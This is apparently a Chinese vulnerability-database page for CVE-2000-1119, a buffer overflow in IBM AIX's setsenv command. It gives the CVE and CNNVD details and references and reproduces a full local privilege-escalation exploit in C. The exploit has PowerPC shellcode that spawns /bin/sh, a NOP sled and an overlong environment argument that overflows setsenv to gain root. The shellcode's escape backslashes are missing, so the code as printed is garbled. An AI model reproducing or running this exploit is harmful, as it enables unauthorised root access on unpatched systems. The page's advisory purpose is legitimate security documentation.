IBM AIX setsenv命令缓冲区溢出漏洞

IBM AIX setsenv命令缓冲区溢出漏洞

漏洞ID 1106107 漏洞类型 缓冲区溢出
发布时间 2000-12-01 更新时间 2005-10-12
图片[1]-IBM AIX setsenv命令缓冲区溢出漏洞-安全小百科CVE编号 CVE-2000-1119
图片[2]-IBM AIX setsenv命令缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200101-009
漏洞平台 AIX CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/20452
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200101-009
|漏洞详情
IBMAIX4.3.x及其早期版本的setsenv命令存在缓冲区溢出漏洞。本地用户可以借助超长”x=”参数执行任意命令。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/2032/info

AIX is a version of the UNIX Operating System distributed by IBM. A problem exists that could allow a user elevated priviledges.

The problem occurs in the setsenv binary. It has been reported that a buffer overflow exists in this binary which could allow a user to overwrite variables on the stack, including the return address. This makes it possible for a malicious user to execute arbitrary code, and potentially attain a UID of 0. 
*/

/*## copyright LAST STAGE OF DELIRIUM sep 2000 poland        *://lsd-pl.net/ #*/
/*## /usr/bin/setsenv                                                        #*/

/*   note: to avoid potential system hang-up please, first obtain the exact   */
/*   AIX OS level with the use of the uname -a or oslevel commands            */

#define ADRNUM 200
#define NOPNUM 16000

char setreuidcode[]=
    "x7ex94xa2x79"     /* xor.    r20,r20,r20            */
    "x40x82xffxfd"     /* bnel    <setreuidcode>         */
    "x7exa8x02xa6"     /* mflr    r21                    */
    "x3axb5x01x40"     /* cal     r21,0x140(r21)         */
    "x88x55xfexe0"     /* lbz     r2,-288(r21)           */
    "x7ex83xa3x78"     /* mr      r3,r20                 */
    "x3axd5xfexe4"     /* cal     r22,-284(r21)          */
    "x7exc8x03xa6"     /* mtlr    r22                    */
    "x4cxc6x33x42"     /* crorc   cr6,cr6,cr6            */
    "x44xffxffx02"     /* svca                           */
    "xffxffxffxff"
    "x38x75xffx04"     /* cal     r3,-252(r21)           */
    "x38x95xffx0c"     /* cal     r4,-244(r21)           */
    "x7ex85xa3x78"     /* mr      r5,r20                 */
    "x90x75xffx0c"     /* st      r3,-244(r21)           */
    "x92x95xffx10"     /* st      r20,-240(r21)          */
    "x88x55xfexe1"     /* lbz     r2,-287(r21)           */
    "x9ax95xffx0b"     /* stb     r20,-245(r21)          */
    "x4bxffxffxd8"     /* bl      <setreuidcode+32>      */
    "/bin/sh"
;

char nop[]="x7fxffxfbx78";

main(int argc,char **argv,char **e){
    char buffer[20000],adr[4],*b,*envp[2];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM sep 2000 poland  //lsd-pl.net/n");
    printf("/usr/bin/setsenv for aix 4.1 4.2 4.3 4.3.x PowerPC/POWERnn");

    if(argc<2){
        printf("usage: %s 41|42|43|433n",argv[0]);exit(-1);
    }

    switch(atoi(argv[1])){
    case  41: memcpy(&setreuidcode[40],"x68x03",2); break;
    case  42: memcpy(&setreuidcode[40],"x71x02",2); break;
    case  43: memcpy(&setreuidcode[40],"x82x04",2); break;
    case 433: memcpy(&setreuidcode[40],"x92x03",2); break;
    default: exit(-1);
    }

    i=0; while(*e++) i+=strlen(*e)+1;
    *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000;

    envp[0]=&buffer[1000];
    envp[1]=0;

    b=buffer;
    strcpy(b,"lsd=");b+=4;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    b=&buffer[1000];
    sprintf(b,"xxx=   ");b+=7;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
    *b=0;

    execle("/usr/bin/setsenv","lsd",buffer,0,envp);
}
|参考资料

来源:BID
名称:2032
链接:http://www.securityfocus.com/bid/2032
来源:BUGTRAQ
名称:20001201FixedlocalAIXV43vulnerabilities
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=97569466809056&w;=2
来源:XF
名称:aix-setsenv-bo(5621)
链接:http://xforce.iss.net/xforce/xfdb/5621
来源:OSVDB
名称:1676
链接:http://www.osvdb.org/1676
来源:AIXAPAR
名称:IY10721
链接:http://www-1.ibm.com/support/search.wss?rs=0&q;=IY10721&apar;=only
来源:AIXAPAR
名称:IY08812
链接:http://www-1.ibm.com/support/search.wss?rs=0&q;=IY08812&apar;=only

相关推荐: Lucent/ORiNOCO WaveLAN卡漏洞

Lucent/ORiNOCO WaveLAN卡漏洞 漏洞ID 1206090 漏洞类型 未知 发布时间 2001-01-01 更新时间 2001-01-01 CVE编号 CVE-2001-0160 CNNVD-ID CNNVD-200101-003 漏洞平台 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享